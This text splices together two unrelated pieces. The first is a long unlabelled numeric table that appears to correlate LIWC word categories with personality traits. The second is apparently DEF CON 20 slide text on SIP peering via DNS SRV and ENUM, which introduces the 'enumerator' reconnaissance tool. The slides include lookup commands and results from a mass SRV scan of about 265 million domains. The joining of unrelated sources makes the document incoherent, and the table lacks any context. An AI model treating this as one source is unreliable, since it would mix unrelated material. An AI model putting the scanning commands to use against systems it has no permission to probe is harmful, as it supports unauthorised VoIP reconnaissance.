-0.127 -0.095 0.025 0.022 0.065 0.027 0.045 0.024 -0.136 -0.129 -0.108 -0.065 -0.131 -0.128 -0.097 -0.095 0.049 0.035 0.092 0.065 0.040 0.031 0.063 0.049 0.044 0.032 0.129 0.126 0.082 0.065 0.129 0.106 0.187 0.175 0.161 0.118 0.182 0.194 social -0.007 0.009 -0.012 0.005 0.012 -0.042 -0.021 -0.041 0.004 -0.011 -0.012 -0.007 0.101 0.084 0.073 0.058 0.093 0.086 0.096 0.069 0.086 0.069 0.094 0.079 -0.036 -0.054 0.016 0.055 0.033 0.071 0.014 0.023 0.004 0.014 -0.019 -0.007 -0.060 -0.059 -0.067 -0.020 -0.089 -0.060 -0.050 -0.044 -0.050 -0.041 -0.053 -0.051 family 0.012 0.016 -0.014 -0.004 -0.024 -0.007 -0.007 -0.018 0.000 0.024 0.051 0.062 0.041 0.042 0.004 0.027 -0.036 -0.012 0.102 0.083 0.064 0.028 0.038 0.060 -0.020 -0.040 -0.016 -0.033 -0.027 0.004 0.008 -0.003 0.005 -0.007 -0.038 -0.022 -0.036 -0.038 -0.005 -0.012 -0.006 -0.003 -0.076 -0.073 -0.011 -0.022 -0.012 -0.033 friend 0.048 0.063 -0.043 0.034 0.000 0.009 -0.032 -0.029 0.005 0.016 -0.009 0.018 0.121 0.103 0.026 0.053 -0.020 0.068 0.069 0.042 -0.034 -0.004 -0.001 -0.042 -0.049 -0.040 0.025 -0.013 -0.012 -0.002 0.073 0.063 -0.016 0.025 0.001 0.053 -0.030 -0.027 0.057 0.010 -0.045 0.064 0.001 -0.019 0.042 0.002 -0.018 0.060 humans 0.023 0.033 0.026 0.016 0.015 0.001 -0.048 -0.048 -0.061 -0.032 -0.053 -0.064 0.057 0.066 0.044 0.018 0.053 0.071 0.028 0.015 0.007 0.033 -0.020 -0.022 -0.074 -0.068 0.039 0.083 0.080 0.089 0.043 0.049 0.034 0.001 0.039 0.029 -0.024 -0.014 0.015 -0.029 0.018 -0.027 0.004 0.022 0.019 -0.027 0.030 0.028 affect -0.017 -0.033 0.020 -0.019 -0.011 -0.050 -0.009 -0.031 0.052 0.006 0.002 -0.009 0.069 0.040 0.058 0.011 0.054 0.026 0.091 0.071 0.134 0.042 0.078 0.058 -0.095 -0.069 0.072 0.081 0.089 0.102 -0.038 -0.028 -0.017 -0.022 -0.042 -0.093 -0.062 -0.038 -0.104 -0.026 -0.023 -0.007 -0.050 -0.040 -0.085 -0.025 -0.059 -0.058 posemo 0.006 -0.002 0.012 -0.001 0.015 -0.023 0.077 0.063 0.079 0.060 0.075 0.063 0.108 0.090 0.064 0.050 0.089 0.071 0.183 0.172 0.162 0.102 0.171 0.148 -0.042 0.006 0.052 0.042 0.035 0.031 -0.020 -0.011 -0.013 -0.029 -0.022 -0.036 -0.118 -0.103 -0.117 -0.057 -0.076 -0.032 -0.124 -0.130 -0.114 -0.060 -0.125 -0.106 negemo -0.049 -0.045 -0.017 -0.049 -0.051 -0.091 -0.135 -0.142 -0.082 -0.070 -0.142 -0.123 -0.027 -0.037 0.004 -0.047 -0.058 -0.094 -0.109 -0.106 -0.055 -0.078 -0.117 -0.112 -0.138 -0.125 0.088 0.088 0.154 0.159 -0.023 -0.019 -0.009 -0.002 -0.052 -0.089 0.073 0.092 0.020 0.037 0.090 0.078 0.083 0.092 0.053 0.033 0.077 0.073 anx -0.034 -0.014 0.003 -0.052 -0.009 -0.045 -0.056 -0.046 -0.011 -0.002 0.003 -0.033 -0.014 -0.019 -0.009 -0.031 -0.012 -0.047 -0.007 -0.011 -0.004 -0.016 -0.012 -0.021 -0.179 -0.154 0.071 0.070 0.036 0.119 -0.054 -0.036 -0.059 -0.021 -0.038 -0.091 -0.021 -0.008 -0.008 0.003 0.021 0.017 -0.042 -0.043 -0.012 -0.002 -0.009 -0.006 anger -0.034 -0.027 -0.024 -0.012 -0.026 -0.047 -0.144 -0.141 -0.102 -0.063 -0.122 -0.100 -0.016 -0.021 0.002 -0.019 -0.070 -0.066 -0.145 -0.152 -0.108 -0.074 -0.129 -0.105 -0.103 -0.110 0.066 0.062 0.096 0.084 0.004 0.005 0.021 0.019 -0.007 -0.016 0.116 0.121 0.071 0.038 0.119 0.063 0.151 0.154 0.119 0.057 0.125 0.102 sad -0.035 -0.028 0.006 -0.027 -0.020 -0.048 -0.078 -0.088 0.016 0.002 -0.060 -0.026 -0.009 -0.013 0.021 -0.010 0.015 -0.045 -0.024 -0.033 -0.030 -0.007 -0.018 0.000 -0.111 -0.107 0.033 0.008 0.031 0.015 -0.038 -0.022 -0.012 -0.029 -0.044 -0.095 -0.024 -0.003 -0.006 -0.002 0.005 -0.035 -0.036 -0.002 -0.018 -0.030 0.000 -0.025 cogmech -0.046 -0.051 -0.038 -0.008 -0.038 -0.094 -0.090 -0.100 -0.041 -0.042 -0.080 -0.078 -0.061 -0.055 -0.074 -0.060 -0.102 -0.142 -0.030 -0.027 -0.023 0.003 -0.022 -0.090 -0.099 -0.103 0.051 0.074 0.098 0.161 -0.074 -0.068 -0.080 0.009 -0.118 -0.176 0.010 0.018 -0.010 0.008 -0.004 0.041 -0.029 -0.017 -0.055 -0.043 -0.058 -0.085 insight -0.001 -0.002 -0.032 0.033 -0.010 -0.032 -0.082 -0.080 -0.031 -0.028 -0.072 -0.021 -0.060 -0.066 -0.021 -0.022 -0.083 -0.079 -0.008 -0.012 0.008 0.005 -0.017 -0.070 -0.094 -0.092 0.042 0.064 0.080 0.127 -0.048 -0.031 -0.054 0.025 -0.051 -0.055 -0.022 -0.016 -0.033 0.018 -0.044 -0.026 -0.042 -0.030 -0.076 -0.014 -0.076 -0.106 cause 0.004 -0.011 -0.007 0.042 0.006 0.001 -0.035 -0.048 -0.031 0.012 -0.003 0.000 -0.034 -0.045 -0.024 0.007 -0.047 -0.038 -0.041 -0.036 -0.010 0.001 -0.018 -0.046 -0.042 -0.042 0.045 0.015 0.027 0.054 -0.007 -0.023 -0.031 0.033 -0.036 -0.023 0.019 0.024 0.009 -0.026 0.003 -0.004 -0.025 -0.006 -0.031 -0.062 -0.042 -0.036 discrep -0.053 -0.046 -0.042 0.012 -0.050 -0.122 -0.069 -0.087 -0.004 -0.038 -0.066 -0.063 -0.024 -0.020 -0.064 -0.030 -0.024 -0.069 -0.015 0.000 0.033 -0.016 -0.013 -0.001 -0.094 -0.104 0.041 0.057 0.095 0.164 -0.059 -0.045 -0.066 0.014 -0.060 -0.163 0.012 0.021 -0.024 0.001 0.038 0.002 -0.013 -0.004 -0.059 0.009 -0.018 -0.090 tentat -0.036 -0.026 -0.007 -0.050 -0.031 -0.098 -0.088 -0.084 -0.056 -0.068 -0.084 -0.059 -0.081 -0.070 -0.083 -0.067 -0.080 -0.152 -0.046 -0.052 -0.015 -0.026 0.010 -0.056 -0.078 -0.080 0.026 0.079 0.081 0.090 -0.102 -0.069 -0.071 -0.035 -0.104 -0.168 0.020 0.047 -0.022 0.028 0.027 0.042 -0.023 -0.013 -0.010 -0.009 -0.037 -0.085 certain -0.022 -0.001 -0.017 0.004 -0.007 -0.028 -0.068 -0.071 -0.027 0.003 -0.056 0.011 -0.011 0.001 -0.024 -0.044 -0.064 -0.093 -0.005 -0.015 0.029 0.022 -0.002 -0.001 -0.081 -0.058 0.071 0.040 0.049 0.047 -0.024 -0.015 -0.022 -0.010 -0.037 -0.132 0.031 0.020 -0.010 0.009 0.026 0.051 -0.008 0.012 -0.029 -0.038 -0.025 -0.088 inhib -0.016 -0.010 -0.028 -0.005 -0.007 0.009 -0.010 -0.023 0.026 0.030 -0.023 0.036 -0.019 -0.020 0.013 -0.015 -0.036 -0.047 -0.011 -0.010 -0.043 -0.004 -0.013 -0.044 -0.015 -0.024 -0.041 0.000 -0.042 -0.051 -0.048 -0.048 -0.037 -0.021 -0.088 -0.148 -0.039 -0.013 -0.002 -0.045 -0.072 -0.026 -0.031 -0.015 0.030 -0.054 -0.017 -0.049 incl -0.031 -0.031 -0.002 -0.025 -0.023 -0.062 -0.001 -0.010 0.039 -0.027 0.008 -0.020 0.032 0.038 0.020 -0.021 0.032 -0.029 0.027 0.026 0.000 0.016 0.034 0.030 -0.016 -0.024 0.018 0.038 0.048 0.056 0.004 -0.008 -0.008 -0.012 -0.041 -0.084 -0.015 -0.024 0.009 0.014 -0.031 0.004 -0.054 -0.049 -0.043 -0.031 -0.065 -0.043 excl -0.056 -0.047 -0.054 -0.017 -0.053 -0.148 -0.100 -0.098 -0.074 -0.063 -0.088 -0.105 -0.062 -0.043 -0.089 -0.065 -0.100 -0.132 -0.068 -0.038 -0.080 -0.033 -0.026 -0.067 -0.110 -0.111 0.085 0.067 0.084 0.139 -0.084 -0.072 -0.088 -0.006 -0.116 -0.151 0.044 0.036 0.034 0.028 0.045 0.040 -0.002 -0.018 -0.010 0.007 -0.042 -0.073 percept -0.015 -0.017 -0.031 0.020 -0.022 -0.085 -0.020 -0.031 0.003 -0.032 -0.019 -0.002 -0.031 -0.036 -0.024 0.004 -0.059 -0.014 0.070 0.051 0.080 0.055 0.070 0.041 -0.089 -0.074 0.032 0.065 0.082 0.088 -0.052 -0.049 -0.043 0.008 -0.051 -0.050 -0.040 -0.037 -0.052 0.004 0.001 0.022 -0.092 -0.068 -0.105 -0.046 -0.089 -0.031 see -0.043 -0.044 -0.049 0.023 -0.035 -0.085 0.038 0.019 0.028 -0.003 -0.015 0.048 -0.004 -0.009 0.027 -0.003 -0.059 -0.057 0.062 0.032 0.040 0.070 0.034 0.053 -0.039 -0.033 0.023 0.050 0.063 0.021 -0.049 -0.027 -0.023 -0.010 -0.063 -0.094 -0.036 -0.020 -0.026 -0.040 0.009 0.009 -0.082 -0.053 -0.068 -0.073 -0.064 -0.076 hear 0.029 0.031 0.014 -0.004 -0.016 -0.041 -0.079 -0.089 -0.059 -0.033 -0.050 -0.027 -0.028 -0.041 -0.009 -0.003 -0.039 -0.010 0.024 0.029 0.023 -0.024 0.041 0.007 -0.089 -0.078 0.034 0.060 0.032 0.057 0.003 -0.008 -0.022 -0.001 -0.011 -0.017 -0.026 -0.034 -0.048 0.006 -0.008 -0.066 -0.040 -0.032 -0.035 -0.025 -0.004 -0.041 feel 0.006 0.002 -0.021 0.002 -0.019 -0.037 -0.040 -0.064 0.006 -0.021 -0.068 -0.022 -0.004 -0.011 -0.026 0.015 0.006 -0.020 0.022 0.006 0.024 0.015 0.033 0.015 -0.093 -0.091 0.026 0.039 0.104 0.125 -0.024 -0.032 -0.039 0.026 -0.019 -0.038 0.015 0.007 -0.020 0.034 0.036 0.071 -0.034 -0.031 -0.064 0.024 -0.024 -0.016 bio -0.026 -0.016 -0.012 -0.011 -0.033 -0.072 -0.066 -0.067 -0.035 -0.080 -0.069 -0.089 0.023 0.032 -0.002 0.028 0.026 0.018 0.014 0.001 0.031 0.007 0.012 0.018 -0.136 -0.145 0.099 0.112 0.140 0.163 0.001 0.002 -0.017 0.031 -0.020 -0.092 0.009 0.009 0.008 0.007 0.030 0.031 0.012 0.023 -0.004 0.027 -0.009 0.030 body -0.021 -0.023 0.023 0.008 -0.018 -0.062 -0.077 -0.085 -0.066 -0.049 -0.098 -0.083 0.017 0.017 0.024 0.031 0.000 -0.017 -0.029 -0.034 -0.023 -0.001 -0.032 -0.048 -0.112 -0.113 0.063 0.075 0.108 0.126 0.006 0.001 0.002 0.027 -0.035 -0.082 0.053 0.048 0.015 0.058 0.051 0.064 0.066 0.072 0.059 0.059 0.048 0.097 health 0.007 0.026 -0.004 0.000 0.010 0.001 -0.010 -0.027 -0.010 -0.011 -0.037 0.004 -0.005 0.006 -0.032 -0.008 -0.036 0.000 0.032 0.013 -0.018 0.033 0.025 0.022 -0.106 -0.114 0.058 0.037 0.102 0.123 -0.005 -0.006 -0.018 -0.023 -0.042 -0.013 -0.032 -0.011 -0.007 -0.072 -0.057 -0.064 -0.019 0.001 0.013 -0.025 -0.021 0.010 sexual 0.029 0.034 0.025 0.010 -0.002 -0.010 -0.083 -0.095 -0.040 -0.096 -0.083 -0.108 0.082 0.073 0.035 0.025 0.071 0.064 0.008 -0.024 0.049 -0.015 -0.006 -0.022 -0.156 -0.149 0.119 0.123 0.143 0.087 0.068 0.070 0.021 0.040 0.054 0.032 0.030 0.051 -0.006 0.023 0.032 0.040 0.051 0.076 -0.016 0.079 0.051 0.109 ingest -0.003 0.029 -0.045 -0.026 -0.015 -0.067 -0.017 -0.024 0.012 -0.024 -0.006 -0.014 0.034 0.041 0.025 0.031 0.049 0.019 0.012 0.006 0.030 0.038 0.053 0.056 -0.041 -0.035 0.032 0.017 0.080 0.107 0.005 0.009 -0.027 0.031 -0.013 -0.074 -0.005 -0.013 -0.001 0.032 0.027 0.017 -0.033 -0.030 -0.026 -0.022 -0.030 -0.003 relativ -0.060 -0.074 -0.036 -0.062 -0.074 -0.058 0.088 0.078 0.054 0.045 0.063 0.039 0.019 0.027 0.011 0.038 0.008 -0.022 0.021 0.029 0.045 0.026 0.007 -0.006 0.006 -0.006 -0.026 0.015 0.029 0.083 -0.028 -0.031 -0.057 -0.022 -0.039 -0.069 0.021 0.000 0.011 0.028 0.015 0.018 -0.059 -0.066 -0.065 -0.039 -0.046 -0.066 motion -0.029 -0.036 0.012 -0.029 -0.031 -0.051 0.075 0.049 0.059 0.015 0.035 0.006 0.046 0.048 0.011 0.016 0.022 -0.008 0.055 0.060 0.061 0.044 0.024 0.037 0.000 -0.005 0.005 0.011 0.027 0.050 -0.020 -0.023 -0.049 -0.020 -0.048 -0.011 -0.008 -0.019 -0.029 -0.005 -0.021 -0.025 -0.060 -0.053 -0.077 -0.029 -0.056 -0.021 space -0.036 -0.041 -0.020 -0.020 -0.044 -0.028 0.053 0.052 0.033 0.018 0.037 0.050 0.026 0.039 0.023 0.034 0.031 -0.023 -0.004 0.008 0.008 -0.014 0.005 0.048 0.057 0.032 -0.039 -0.014 -0.017 0.039 0.000 -0.001 -0.028 0.005 -0.009 -0.098 0.012 -0.005 0.000 0.023 -0.016 -0.042 -0.020 -0.032 -0.024 -0.007 -0.030 -0.093 time -0.070 -0.079 -0.038 -0.048 -0.073 -0.065 0.061 0.049 0.047 0.038 0.042 0.027 -0.005 -0.008 -0.003 0.025 -0.020 -0.033 0.026 0.016 0.037 0.046 -0.008 -0.045 -0.054 -0.051 0.025 0.047 0.080 0.104 -0.050 -0.054 -0.054 -0.024 -0.049 -0.080 0.041 0.027 0.034 0.044 0.061 0.068 -0.063 -0.058 -0.054 -0.043 -0.035 -0.026 work -0.009 -0.036 -0.026 0.065 0.030 0.009 0.061 0.051 0.027 0.027 0.062 0.024 -0.015 -0.018 -0.024 0.013 0.023 0.025 -0.016 -0.027 -0.014 -0.001 -0.036 -0.018 0.048 0.045 -0.005 -0.021 -0.046 -0.002 -0.006 -0.006 -0.011 -0.008 0.020 -0.033 -0.046 -0.029 -0.018 -0.064 -0.044 -0.081 -0.077 -0.068 -0.067 -0.052 -0.066 -0.083 achieve -0.029 -0.034 -0.050 0.042 -0.043 0.000 0.091 0.080 0.020 0.089 0.072 0.039 0.031 0.006 -0.006 0.077 0.008 0.014 -0.004 0.001 -0.025 0.029 -0.018 0.018 0.084 0.077 0.002 -0.069 -0.081 -0.022 0.025 -0.001 -0.004 0.073 0.024 0.034 -0.016 -0.003 0.006 -0.009 -0.014 0.006 -0.047 -0.057 -0.015 -0.029 -0.022 -0.010 leisure 0.042 0.015 0.011 0.022 0.026 0.040 0.064 0.059 0.010 0.016 0.019 -0.006 0.001 0.005 -0.018 -0.007 0.017 0.047 0.035 0.039 0.007 0.030 0.059 0.107 0.033 0.020 0.004 -0.003 -0.024 0.008 0.027 0.011 0.000 -0.009 0.030 -0.004 0.001 -0.017 0.015 0.001 0.043 0.037 -0.046 -0.064 -0.023 -0.052 -0.022 0.003 home -0.034 -0.026 0.004 -0.024 -0.008 -0.069 0.016 0.006 0.024 -0.006 0.040 -0.002 0.038 0.032 0.020 0.006 0.001 -0.016 0.019 0.018 -0.004 0.050 0.037 -0.017 -0.049 -0.060 0.003 -0.034 0.032 0.087 -0.004 -0.016 0.013 0.020 -0.024 0.000 -0.031 -0.032 0.040 -0.014 -0.036 -0.010 -0.046 -0.048 0.008 -0.016 -0.029 0.013 money 0.009 0.027 -0.005 -0.008 0.020 -0.016 0.075 0.083 0.037 0.020 0.023 -0.012 0.044 0.053 0.032 0.020 0.057 0.060 -0.028 -0.009 -0.077 -0.011 -0.011 -0.020 0.058 0.054 -0.002 -0.030 -0.042 -0.074 0.036 0.033 0.030 0.016 0.036 0.011 -0.007 -0.020 0.026 -0.028 -0.013 -0.002 -0.011 -0.010 0.021 0.000 -0.025 -0.004 relig 0.032 0.027 0.001 0.002 0.015 0.001 -0.045 -0.062 0.025 -0.019 0.017 0.011 -0.018 -0.023 0.013 -0.048 -0.050 0.010 -0.034 -0.009 -0.008 -0.050 -0.015 0.005 -0.056 -0.066 0.002 0.022 -0.026 -0.021 0.037 0.024 0.021 -0.006 0.028 0.029 0.024 0.010 -0.011 0.001 -0.011 -0.015 0.026 0.005 0.003 -0.020 -0.011 -0.008 death 0.050 0.055 0.006 0.004 0.039 0.028 -0.070 -0.091 0.014 -0.023 0.009 0.001 -0.051 -0.033 -0.008 -0.053 -0.033 -0.015 -0.085 -0.086 -0.052 -0.031 -0.045 -0.061 -0.003 -0.031 -0.040 -0.031 -0.075 -0.082 0.021 0.041 -0.017 -0.032 -0.010 0.044 0.039 0.049 -0.042 0.000 -0.045 -0.043 0.094 0.106 0.033 0.009 0.044 0.089 assent 0.024 0.026 0.040 0.019 0.011 -0.016 -0.067 -0.106 -0.006 -0.051 -0.020 -0.041 0.060 0.002 0.073 -0.003 0.051 -0.045 0.016 0.003 0.018 -0.010 0.042 -0.009 -0.125 -0.070 0.095 0.074 0.065 0.108 0.011 0.001 0.069 0.004 -0.006 -0.065 0.013 0.040 0.006 0.021 0.018 0.042 0.038 0.039 0.043 0.036 0.019 0.057 nonfl -0.008 -0.010 -0.011 -0.020 -0.035 -0.023 -0.041 -0.040 0.019 0.006 0.038 0.061 0.051 0.039 0.008 -0.027 -0.018 -0.025 -0.015 -0.012 0.017 -0.046 -0.049 -0.037 -0.041 -0.025 -0.020 0.014 -0.062 0.001 -0.023 -0.007 -0.003 -0.016 -0.015 -0.060 -0.027 -0.014 -0.005 0.018 0.003 -0.024 0.005 -0.006 -0.016 0.044 0.043 0.020 filler 0.000 0.012 -0.020 -0.019 0.034 0.046 -0.121 -0.108 -0.028 0.006 -0.056 -0.012 -0.024 -0.031 -0.038 0.044 -0.013 0.051 -0.066 -0.075 -0.015 0.002 -0.061 -0.101 -0.127 -0.117 0.027 0.041 0.024 0.021 0.035 0.032 -0.021 0.022 -0.004 -0.003 0.102 0.085 0.038 0.063 0.054 0.061 0.073 0.071 0.031 0.038 0.076 0.076 Period 0.099 0.111 0.102 0.024 0.111 0.111 -0.013 -0.028 -0.037 0.023 -0.048 -0.050 -0.058 -0.047 -0.039 -0.040 -0.045 -0.022 0.018 0.002 0.003 0.038 0.032 0.039 0.009 -0.005 -0.016 -0.030 -0.014 -0.085 0.004 0.009 -0.010 -0.076 -0.007 0.004 -0.034 -0.014 -0.026 -0.063 -0.028 -0.009 -0.027 0.006 -0.019 -0.068 -0.026 -0.025 Comma 0.031 0.019 0.039 0.014 0.018 0.016 -0.090 -0.076 -0.084 -0.041 -0.098 -0.026 -0.109 -0.095 -0.099 -0.078 -0.117 -0.101 -0.022 -0.013 -0.011 -0.023 -0.005 -0.014 0.007 0.018 0.008 0.020 0.014 -0.004 0.017 0.015 -0.004 0.004 -0.005 0.012 0.031 0.029 0.023 0.022 0.019 -0.024 0.016 0.023 0.000 -0.013 -0.010 -0.064 Colon 0.069 0.092 0.010 0.044 0.065 0.088 0.026 0.039 -0.043 0.014 0.009 0.024 -0.019 -0.021 -0.023 -0.028 -0.003 0.010 0.052 0.039 0.024 0.012 0.034 0.090 0.016 0.018 0.064 -0.041 -0.030 -0.080 0.042 0.016 -0.014 0.005 0.028 0.043 -0.037 -0.042 0.002 -0.011 -0.043 -0.025 -0.025 -0.033 -0.003 -0.008 0.002 0.003 SemiC 0.037 0.045 0.002 0.011 0.006 0.054 -0.040 -0.065 -0.022 0.039 -0.014 -0.059 0.014 -0.021 -0.017 0.017 -0.015 -0.055 -0.020 -0.020 -0.029 -0.011 0.004 -0.007 -0.070 -0.054 0.056 -0.022 0.023 0.027 0.033 0.019 -0.010 0.003 0.014 -0.018 0.033 0.026 0.032 0.027 0.057 0.031 0.050 0.054 0.026 0.052 0.052 0.055 QMark -0.047 -0.015 -0.051 0.034 -0.039 -0.085 -0.048 -0.063 -0.018 -0.033 -0.060 -0.058 0.067 0.049 0.040 0.016 0.064 0.060 -0.046 -0.032 -0.054 -0.028 -0.023 -0.050 0.014 0.020 -0.004 0.017 -0.019 -0.052 0.012 -0.003 0.024 0.035 -0.003 0.001 0.037 0.020 0.006 -0.004 0.032 0.042 0.029 0.008 0.025 0.002 0.045 0.068 Exclam -0.016 -0.036 0.025 0.010 0.009 0.053 0.050 0.051 0.059 0.026 0.053 0.087 0.107 0.088 0.105 0.046 0.129 0.128 0.104 0.078 0.117 0.043 0.133 0.097 -0.011 0.005 0.022 0.013 0.018 -0.021 0.018 0.020 0.036 0.043 0.031 0.076 -0.003 0.021 -0.058 0.027 -0.006 0.051 -0.054 -0.036 -0.095 0.026 -0.051 -0.019 Dash 0.046 0.041 0.014 0.032 0.024 0.066 0.042 0.025 0.028 0.014 0.030 0.031 -0.057 -0.061 0.006 -0.043 -0.038 -0.019 0.045 0.043 0.034 0.027 0.100 0.086 0.048 0.047 -0.046 -0.016 -0.027 -0.125 -0.006 -0.011 -0.006 -0.012 -0.011 0.020 -0.052 -0.048 -0.063 -0.045 -0.079 -0.120 -0.025 -0.026 -0.033 -0.009 -0.022 -0.029 Quote 0.050 0.060 -0.008 0.031 0.019 0.024 -0.055 -0.036 -0.045 -0.051 -0.064 -0.031 -0.098 -0.057 -0.068 -0.087 -0.079 -0.050 -0.020 -0.017 -0.017 -0.032 -0.015 0.013 -0.034 -0.036 -0.004 0.039 0.005 0.013 0.057 0.046 0.027 0.032 0.028 0.011 0.020 0.011 0.016 -0.004 -0.006 -0.046 -0.035 -0.024 -0.030 -0.020 -0.029 -0.087 Apostro -0.028 0.005 -0.020 -0.077 -0.072 -0.087 -0.101 -0.114 -0.054 -0.056 -0.110 -0.103 -0.085 -0.082 -0.090 -0.040 -0.114 -0.113 -0.017 -0.015 0.003 -0.013 -0.010 -0.017 -0.129 -0.119 0.119 0.094 0.135 0.133 -0.088 -0.068 -0.070 -0.049 -0.142 -0.149 0.012 0.011 0.001 0.011 0.009 -0.011 -0.022 -0.027 -0.021 -0.016 -0.065 -0.120 Parenth 0.003 0.020 -0.024 -0.023 0.028 0.069 -0.037 -0.044 -0.075 0.032 -0.059 -0.028 -0.073 -0.073 -0.082 -0.057 -0.099 -0.034 -0.008 -0.020 -0.002 -0.026 0.012 0.014 -0.061 -0.046 0.084 -0.013 0.054 0.007 -0.037 -0.019 -0.050 -0.058 -0.058 0.013 0.005 -0.003 0.029 0.038 -0.007 -0.029 -0.049 -0.024 -0.021 0.000 -0.019 0.013 OtherP 0.051 0.047 0.027 0.071 0.049 0.050 0.046 0.064 -0.028 0.040 0.065 0.067 0.062 0.045 0.077 0.029 0.094 0.126 0.033 0.030 -0.035 0.031 0.049 0.144 0.060 0.058 -0.025 -0.052 -0.090 -0.084 0.070 0.058 0.116 -0.008 0.082 0.068 -0.015 -0.028 0.069 -0.018 -0.021 -0.067 0.016 -0.007 0.110 0.006 0.033 0.011 AllPct 0.093 0.097 0.079 0.076 0.093 0.122 0.028 0.045 -0.036 0.048 0.040 0.045 0.000 -0.011 0.022 -0.013 0.030 0.072 0.055 0.044 0.043 0.053 0.078 0.127 0.024 0.031 0.031 -0.051 -0.054 -0.109 0.043 0.032 0.041 -0.021 0.035 0.073 -0.039 -0.036 0.003 -0.036 -0.044 -0.050 -0.031 -0.027 0.006 -0.022 -0.018 -0.013 Na Ma Ps Op Co Ex Ag Ne
pdf
The End of the PSTN As You Know It DEF CON 20 July 28, 2012 Agenda “Islands of VoIP” Tool release UC Federation Surprise UCF Vendor Research Open Source Software Avaya Proprietary - Do not reproduce or distribute without express written consent Small Disclaimer These are our opinions based on experience Not necessarily the official position of our employer These issues are large and complex • We are here to explore an idea We’re not finished with this research • (In fact, we’re just getting started) Avaya Proprietary - Do not reproduce or distribute without express written consent About VIPER VIPER Lab (Voice over IP Exploit Research) 1. Security Assessment for VoIP/UC 2. R&D Lab for vulnerability research around UC/VoIP Avaya Proprietary - Do not reproduce or distribute without express written consent Avaya Proprietary - Do not reproduce or distribute without express written consent A long time ago, in a land far away… Avaya Proprietary - Do not reproduce or distribute without express written consent A VoIP Pentest took place… 7 Islands of VoIP “Islands of VoIP” Avaya Proprietary - Do not reproduce or distribute without express written consent Company A Company B Company C PSTN SIP Trunk SIP Trunk TDM Trunk Carrier Carrier Carrier How to Connect “Islands of VoIP”? ENUM Avaya Proprietary - Do not reproduce or distribute without express written consent ENUM How it works Uses DNS NAPTR records to map E.164 telephone numbers to a URI (SIP URI) When you dial a telephone number, you don’t know for certain if it’s connected to PSTN or a SIP network Solves problem of dialing between SIP networks when you only have a telephone number Adoption rate Hasn’t seen widespread adoption Political, Economic reasons Avaya Proprietary - Do not reproduce or distribute without express written consent ENUM Experiment www.e164.org Public ENUM Directory They have a form and validation procedure for adding your telephone number and SIP URI to their directory We tried adding ourselves in using their procedure Result Failure Process didn’t appear to work & multiple emails to their contact address - no response. Avaya Proprietary - Do not reproduce or distribute without express written consent No more “Islands of VoIP”! (There has to be a better way) Avaya Proprietary - Do not reproduce or distribute without express written consent The Superior Solution: SIP Peering using DNS SRV Avaya Proprietary - Do not reproduce or distribute without express written consent SIP Peering using DNS SRV We propose an idea to have everyone use DNS for SIP Peering Can interconnect all “Islands of VoIP” directly between organizations using DNS DNS built for HA and load balancing Calls via your SIP URI • Easier to remember • No more dial by numbers • Use your email address as your SIP URI / address Large cost saving for direct SIP peering PSTN will be increasingly diminished Avaya Proprietary - Do not reproduce or distribute without express written consent DNS SRV: RFC 2782 A special DNS resource record for the location of Services (SRV) For fault tolerance and load balancing Multiple priorities and weights, just like MX records for MTAs Clients look up lower priority records first, and then fallback to records of equal or higher priority If multiple records with same priority, weight value is used RFC 3263 specifies usage of DNS SRV for SIP Avaya Proprietary - Do not reproduce or distribute without express written consent DNS SRV: RFC 2782 Record Format Avaya Proprietary - Do not reproduce or distribute without express written consent Source: Wikipedia DNS SRV: RFC 2782 Sample Record Avaya Proprietary - Do not reproduce or distribute without express written consent Source: Wikipedia Automatic load balancing group created with equal priority of “10” Weight values added up to 100. 60% of traffic to bigbox 20% of traffic to smallbox 10% to each remaining SIP DNS SRV Deployment Avaya Proprietary - Do not reproduce or distribute without express written consent Internet Company A SIP Domain: example.com Company B SIP Domain: foo.com Root DNS SIP user: [email protected] SIP user: [email protected] Initiate SIP call to: [email protected] DNS SRV: foo.com SIP INVITE SIP INVITE RTP Media “Hello? What’s up Bro?” RTP Media Research Goal Objective: Wanted to measure growth of SIP peering on IPv4 Internet, over period of time. Proliferation of DNS SRV records, plotted over time Proliferation of ENUM for selected e.164 blocks, plotted over time Proliferation of listening SIP services for every IPv4 address, plotted over time Avaya Proprietary - Do not reproduce or distribute without express written consent Introducing Enumerator Tool Releasing a new intelligence gathering tool that we developed for this research Tool Name: enumerator Website: http://enumerator.sourceforge.net Written in C Uses the “libresolv” library Can be used for R&D purposes like we did, or for VoIP pentesting in the Recon phase Optimized for VoIP and a large number of domains Avaya Proprietary - Do not reproduce or distribute without express written consent Enumerator Key Features DNS SRV lookups for single domain, or text input list • Partial support for Microsoft specific targets DNS MX lookups for single domain, or text input list DNS ENUM lookups for single number, or input list Avaya Proprietary - Do not reproduce or distribute without express written consent Enumerator Phase I “Scan” Ran an enumerator SRV lookup “Scan” Procured all TLD (Top-level domains) from Network Solutions, Org Goal was to find number of SRV enabled domains potentially enabled for SIP Idea was to run several of these “scans” over a year and plot how the data changes over time Avaya Proprietary - Do not reproduce or distribute without express written consent Data Input Received from Network Solutions and Org .com domains: 234,638,894 (4.231 GB) .net domains: 34,232,716 (578.313 MB) .org domains: 23,409,623 (430.455 MB) Total: 292,281,233 domains Avaya Proprietary - Do not reproduce or distribute without express written consent 4 SRV Target Queries Benchmarking 140 Domain queries per second on each server (11 servers) 4 SRV queries per domain Split enumerator into 800 separate processes, 800 files Command: ./enum-launcher.pl –f largefile.txt –c 800 4 SRV queries _sip._udp.<domain> _sip._tcp.<domain> _sip._tls.<domain> _sipfederationtls._tcp.<domain> Avaya Proprietary - Do not reproduce or distribute without express written consent Results from Enumerator Scan #1 Total domains checked: 265,710,178 Without SRV: 256,947,303 96.70% With SRV for SIP: 8,762,875 Top Level Domains (.com/.net/.org) with SRV SIP enabled 3.30% Avaya Proprietary - Do not reproduce or distribute without express written consent 8 Million TLD domains enabled for SIP SRV! 3.30% Enumerator In Action Avaya Proprietary - Do not reproduce or distribute without express written consent Other Examples Example: enumerator –s –l domains.txt Takes domains.txt as input and looks up all domains Example: enumerator –m –d example.com MX Record lookup of single domain Avaya Proprietary - Do not reproduce or distribute without express written consent Enumerator In Action Avaya Proprietary - Do not reproduce or distribute without express written consent ENUM Support Example: enumerator –e –r 12145551212 Looks up single e.164 telephone number Example: enumerator –e –r 12145551212- 12145559999 Looks up a range Example: enumerator –e –l numbers.txt Takes numbers.txt as input and looks up all numbers in text file Avaya Proprietary - Do not reproduce or distribute without express written consent Enumerator In Action - ENUM Avaya Proprietary - Do not reproduce or distribute without express written consent Enumerator In Action - ENUM Avaya Proprietary - Do not reproduce or distribute without express written consent srv.c 